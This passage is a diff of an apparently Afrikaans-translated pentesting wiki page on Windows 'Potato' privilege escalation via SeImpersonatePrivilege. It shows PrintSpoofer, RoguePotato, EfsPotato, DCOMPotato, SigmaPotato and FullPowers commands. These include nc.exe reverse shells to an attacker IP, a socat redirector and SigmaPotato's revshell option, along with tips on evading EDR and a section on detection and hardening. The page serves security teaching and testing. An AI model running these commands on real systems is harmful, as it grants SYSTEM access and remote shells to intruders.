het (tipies vir baie service accounts soos IIS AppPool, MSSQL, ens.) +- SeImpersonatePrivilege (mees algemeen) or SeAssignPrimaryTokenPrivilege +- Hoë integriteit is nie benodig nie as die token reeds SeImpersonatePrivilege het (tipies vir baie diensrekeninge soos IIS AppPool, MSSQL, ens.) -Check privileges quickly: +Kontroleer voorregte vinnig: ```cmd whoami /priv | findstr /i impersonate ``` -Operasionele notas: +Operational notes: -- PrintSpoofer benodig die Print Spooler service om te loop en bereikbaar te wees oor die plaaslike RPC-endpoint (spoolss). In geharde omgewings waar Spooler na PrintNightmare gedeaktiveer is, verkies RoguePotato/GodPotato/DCOMPotato/EfsPotato. +- As jou shell onder 'n beperkte token loop wat nie SeImpersonatePrivilege het nie (algemeen vir Local Service/Network Service in sekere kontekste), kry die rekening se standaardprivileges terug met FullPowers, en hardloop dan 'n Potato. Voorbeeld: `FullPowers.exe -c "cmd /c whoami /priv" -z` +- PrintSpoofer benodig die Print Spooler service wat loop en bereikbaar is oor die plaaslike RPC-endpoint (spoolss). In geharde omgewings waar Spooler na PrintNightmare gedeaktiveer is, verkies RoguePotato/GodPotato/DCOMPotato/EfsPotato. - RoguePotato vereis 'n OXID resolver wat bereikbaar is op TCP/135. As egress geblokkeer is, gebruik 'n redirector/port-forwarder (sien voorbeeld hieronder). Ouer builds het die -f vlag benodig. - EfsPotato/SharpEfsPotato misbruik MS-EFSR; as een pipe geblokkeer is, probeer alternatiewe pipes (lsarpc, efsrpc, samr, lsass, netlogon). -- Fout 0x6d3 tydens RpcBindingSetAuthInfo dui gewoonlik op 'n onbekende of nie-ondersteunde RPC-authentikasiediens; probeer 'n ander pipe/transport of maak seker die teiken-diens loop. +- Fout 0x6d3 tydens RpcBindingSetAuthInfo dui gewoonlik op 'n onbekende of onondersteunde RPC-authentiseringsdiens; probeer 'n ander pipe/transport of verseker dat die teikendiens loop. ## Vinnige Demo @@ -58,8 +59,8 @@ NULL ``` Aantekeninge: -- Jy kan -i gebruik om 'n interaktiewe proses in die huidige console te spawn, of -c om 'n one-liner uit te voer. -- Vereis die Spooler service. As dit gedeaktiveer is, sal dit misluk. +- Jy kan -i gebruik om 'n interaktiewe proses in die huidige konsole te spawn, of -c om 'n eenreël-opdrag uit te voer. +- Vereis die Spooler-diens. As dit gedeaktiveer is, sal dit misluk. ### RoguePotato ```bash @@ -67,7 +68,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` -Indien uitgaande poort 135 geblokkeer is, pivot die OXID resolver via socat op jou redirector: +As uitgaande poort 135 geblokkeer is, pivot die OXID resolver via socat op jou redirector: ```bash # On attacker redirector (must listen on TCP/135 and forward to victim:9999) socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 @@ -111,7 +112,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su nt authority\system ``` -Wenk: As een pipe faal of EDR dit blokkeer, probeer die ander ondersteunde pipes: +Wenk: As een pipe misluk of EDR dit blokkeer, probeer die ander ondersteunde pipes: ```text EfsPotato [pipe] pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) @@ -129,7 +130,7 @@ Aantekeninge: ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -DCOMPotato bied twee variante wat mik op service DCOM objects wat standaard op RPC_C_IMP_LEVEL_IMPERSONATE ingestel is. Kompileer of gebruik die verskafde binaries en voer jou opdrag uit: +DCOMPotato bied twee variante wat mik op service DCOM-objekte wat standaard op RPC_C_IMP_LEVEL_IMPERSONATE staan. Bou of gebruik die verskafte binaries en voer jou opdrag uit: ```cmd # PrinterNotify variant PrinterNotifyPotato.exe "cmd /c whoami" @@ -137,7 +138,7 @@ PrinterNotifyPotato.exe "cmd /c whoami" # McpManagementService variant (Server 2022 also) McpManagementPotato.exe "cmd /c whoami" ``` -### SigmaPotato (opgedateerde GodPotato fork) +### SigmaPotato (updated GodPotato fork) SigmaPotato voeg moderne geriewe by, soos in-memory execution via .NET reflection en 'n PowerShell reverse shell helper. ```powershell @@ -148,15 +149,15 @@ SigmaPotato voeg moderne geriewe by, soos in-memory execution via .NET reflectio # Or ask it to spawn a PS reverse shell [SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444")) ``` -## Opsporing en verhardingsnotas +## Opsporing en hardening notas -- Hou dop vir prosesse wat named pipes skep en onmiddellik token-duplication APIs aanroep, gevolg deur CreateProcessAsUser/CreateProcessWithTokenW. Sysmon kan nuttige telemetrie lewer: Event ID 1 (process creation), 17/18 (named pipe created/connected), en command lines wat child processes as SYSTEM spawn. -- Spooler verharding: Deaktiveer die Print Spooler-service op bedieners waar dit nie nodig is nie om PrintSpoofer-styl plaaslike afdwingings via spoolss te voorkom. -- Service account verharding: Minimaliseer die toekenning van SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege aan pasgemaakte dienste. Oorweeg om dienste te laat loop onder virtual accounts met slegs die minste nodige privileges en isoleer hulle met service SID en write-restricted tokens waar moontlik. -- Netwerkbeheer: Om outbound TCP/135 te blokkeer of RPC endpoint mapper-verkeer te beperk kan RoguePotato breek, tensy 'n interne redirector beskikbaar is. -- EDR/AV: Al hierdie tools is wyd gesignatureer. Herkompilering vanaf bronkode, hernoem van symbols/strings, of gebruik van in-memory execution kan detectie verminder maar sal robuuste gedragsgebaseerde detecties nie omseil nie. +- Monitor vir prosesse wat named pipes skep en onmiddellik token-duplication APIs aanroep, gevolg deur CreateProcessAsUser/CreateProcessWithTokenW. Sysmon kan nuttige telemetrie openbaar: Event ID 1 (process creation), 17/18 (named pipe created/connected), en command lines wat child processes as SYSTEM spawn. +- Spooler hardening: Deaktiveer die Print Spooler service op servers waar dit nie nodig is nie om PrintSpoofer-style plaaslike coercions via spoolss te voorkom. +- Service account hardening: Minimaliseer die toewysing van SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege aan custom services. Oorweeg om dienste onder virtual accounts met die minste vereiste privileges te laat loop en hulle te isoleer met service SID en write-restricted tokens waar moontlik. +- Network controls: Die blokkering van uitgaande TCP/135 of die beperking van RPC endpoint mapper-verkeer kan RoguePotato breek tensy 'n interne redirector beskikbaar is. +- EDR/AV: Al hierdie tools is wyd deur signatures gedek. Hersamestelling vanaf source, hernoem van symbols/strings, of die gebruik van in-memory execution kan opsporing verminder maar sal robuuste gedragsdetecties nie teëkom nie. -## Verwysings +## References - [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) - [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer) @@ -167,5 +168,7 @@ SigmaPotato voeg moderne geriewe by, soos in-memory execution via .NET reflectio - [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato) - [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato) - [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/) +- [FullPowers – Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers) +- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html) {{#include ../../banners/hacktricks-training.md}}